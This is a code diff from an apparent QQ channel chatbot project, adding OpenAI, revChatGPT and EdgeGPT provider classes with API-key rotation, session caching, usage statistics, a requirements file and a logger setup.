self.session_dict[session_id] = cache_data_list
return chatgpt_res
def image_chat(self, prompt, img_num = 1, img_size = "1024x1024"):
retry = 0
image_url = ''
while retry < 5:
try:
# print("test1")
response = openai.Image.create(
prompt=prompt,
n=img_num,
size=img_size
)
# print("test2")
image_url = []
for i in range(img_num):
image_url.append(response['data'][i]['url'])
print(image_url)
break
except Exception as e:
print(e)
if 'You exceeded' in str(e) or 'Billing hard limit has been reached' in str(
e) or 'No API key provided' in str(e) or 'Incorrect API key provided' in str(e):
print("[System] 当前Key已超额或者不正常,正在切换")
self.key_stat[openai.api_key]['exceed'] = True
self.save_key_record()
response, is_switched = self.handle_switch_key(req)
if not is_switched:
# 所有Key都超额或不正常
raise e
else:
break
retry += 1
if retry >= 5:
raise BaseException("连接超时")
return image_url
def forget(self, session_id) -> bool:
self.session_dict[session_id] = []
return True
'''
获取缓存的会话
'''
def get_prompts_by_cache_list(self, cache_data_list, divide=False, paging=False, size=5, page=1):
prompts = ""
if paging:
page_begin = (page-1)*size
page_end = page*size
if page_begin < 0:
page_begin = 0
if page_end > len(cache_data_list):
page_end = len(cache_data_list)
cache_data_list = cache_data_list[page_begin:page_end]
for item in cache_data_list:
prompts += str(item['user']['role']) + ":\n" + str(item['user']['content']) + "\n"
prompts += str(item['AI']['role']) + ":\n" + str(item['AI']['content']) + "\n"
if divide:
prompts += "----------\n"
return prompts
def get_user_usage_tokens(self,cache_list):
usage_tokens = 0
for item in cache_list:
usage_tokens += int(item['single_tokens'])
return usage_tokens
'''
获取统计信息
'''
def get_stat(self):
try:
f = open(abs_path+"configs/stat", "r", encoding="utf-8")
fjson = json.loads(f.read())
f.close()
guild_count = 0
guild_msg_count = 0
guild_direct_msg_count = 0
for k,v in fjson.items():
guild_count += 1
guild_msg_count += v['count']
guild_direct_msg_count += v['direct_count']
session_count = 0
f = open(abs_path+"configs/session", "r", encoding="utf-8")
fjson = json.loads(f.read())
f.close()
for k,v in fjson.items():
session_count += 1
return guild_count, guild_msg_count, guild_direct_msg_count, session_count
except:
return -1, -1, -1, -1
# 包装信息
def wrap(self, prompt, session_id):
# 获得缓存信息
context = self.session_dict[session_id]
new_record = {
"user": {
"role": "user",
"content": prompt,
},
"AI": {},
'usage_tokens': 0,
}
req_list = []
for i in context:
if 'user' in i:
req_list.append(i['user'])
if 'AI' in i:
req_list.append(i['AI'])
req_list.append(new_record['user'])
return context, new_record, req_list
def handle_switch_key(self, req):
# messages = [{"role": "user", "content": prompt}]
while True:
is_all_exceed = True
for key in self.key_stat:
if not self.key_stat[key]['exceed']:
is_all_exceed = False
openai.api_key = key
print(f"[System] 切换到Key: {key}, 已使用token: {self.key_stat[key]['used']}")
if len(req) > 0:
try:
response = openai.ChatCompletion.create(
messages=req,
**self.chatGPT_configs
)
return response, True
except Exception as e:
print(e)
if 'You exceeded' in str(e):
print("[System] 当前Key已超额,正在切换")
self.key_stat[openai.api_key]['exceed'] = True
self.save_key_record()
time.sleep(1)
continue
else:
return True
if is_all_exceed:
print("[System] 所有Key已超额")
return None, False
def getConfigs(self):
return self.openai_configs
def save_key_record(self):
with open(key_record_path, 'w', encoding='utf-8') as f:
json.dump(self.key_stat, f)
def get_key_stat(self):
return self.key_stat
def get_key_list(self):
return self.key_list
# 添加key
def append_key(self, key, sponsor):
self.key_list.append(key)
self.key_stat[key] = {'exceed': False, 'used': 0, 'sponsor': sponsor}
self.save_key_record()
self.init_key_record()
# 检查key是否可用
def check_key(self, key):
pre_key = openai.api_key
openai.api_key = key
messages = [{"role": "user", "content": "1"}]
try:
response = openai.ChatCompletion.create(
messages=messages,
**self.chatGPT_configs
)
openai.api_key = pre_key
return True
except Exception as e:
pass
openai.api_key = pre_key
return False
#将key_list的key转储到key_record中并记录相关数据
def init_key_record(self):
if not os.path.exists(key_record_path):
with open(key_record_path, 'w', encoding='utf-8') as f:
json.dump({}, f)
with open(key_record_path, 'r', encoding='utf-8') as keyfile:
try:
self.key_stat = json.load(keyfile)
except Exception as e:
print(e)
self.key_stat = {}
finally:
for key in self.key_list:
if key not in self.key_stat:
self.key_stat[key] = {'exceed': False, 'used': 0}
# if openai.api_key is None:
# openai.api_key = key
else:
# if self.key_stat[key]['exceed']:
# print(f"Key: {key} 已超额")
# continue
# else:
# if openai.api_key is None:
# openai.api_key = key
# print(f"使用Key: {key}, 已使用token: {self.key_stat[key]['used']}")
pass
if openai.api_key == None:
self.handle_switch_key("")
self.save_key_record()

View File

@@ -0,0 +1,34 @@
from revChatGPT.V1 import Chatbot
from model.provider.provider import Provider
class ProviderRevChatGPT(Provider):
def __init__(self, config):
if 'password' in config:
config['password'] = str(config['password'])
self.bot = Chatbot(config=config)
def forget(self) -> bool:
self.bot.reset_chat()
return True
def text_chat(self, prompt):
resp = ''
err_count = 0
retry_count = 5
while err_count < retry_count:
try:
for data in self.bot.ask(prompt):
resp = data["message"]
break
except BaseException as e:
try:
print("[RevChatGPT] 请求出现了一些问题, 正在重试。次数"+str(err_count))
err_count += 1
if err_count >= retry_count:
raise e
except BaseException:
err_count += 1
print("[RevChatGPT] "+str(resp))
return resp

View File

@@ -0,0 +1,49 @@
import asyncio
from model.provider.provider import Provider
from EdgeGPT import Chatbot, ConversationStyle
import json
class ProviderRevEdgeGPT(Provider):
def __init__(self):
self.busy = False
self.wait_stack = []
with open('./cookies.json', 'r') as f:
cookies = json.load(f)
self.bot = Chatbot(cookies=cookies)
def is_busy(self):
return self.busy
async def forget(self):
try:
await self.bot.reset()
return True
except BaseException:
return False
async def text_chat(self, prompt):
if self.busy:
return
self.busy = True
resp = 'err'
err_count = 0
retry_count = 5
while err_count < retry_count:
try:
resp = await self.bot.ask(prompt=prompt, conversation_style=ConversationStyle.creative)
resp = resp['item']['messages'][len(resp['item']['messages'])-1]['text']
if resp == prompt:
resp += '\n\n如果你没有让我复述你的话那代表我可能不想和你继续这个话题了请输入reset重置会话😶'
break
except BaseException as e:
print(e.with_traceback)
err_count += 1
if err_count >= retry_count:
raise e
print("[RevEdgeGPT] 请求出现了一些问题, 正在重试。次数"+str(err_count))
self.busy = False
print("[RevEdgeGPT] "+str(resp))
return resp

9
requirements.txt Normal file
View File

@@ -0,0 +1,9 @@
requests
openai
qq-botpy
revChatGPT~=4.0.8
baidu-aip
EdgeGPT~=0.1.2
chardet
Pillow
GitPython

11
util/log.py Normal file
View File

@@ -0,0 +1,11 @@
import logging
from logging.handlers import RotatingFileHandler
import colorlog
logger = logging.getLogger("QQChannelChatGPT")
logger.setLevel(logging.DEBUG)
handler = colorlog.StreamHandler()
fmt = "%(log_color)s[%(name)s] %(message)s"
handler.setFormatter(colorlog.ColoredFormatter(
fmt))
logger.addHandler(handler)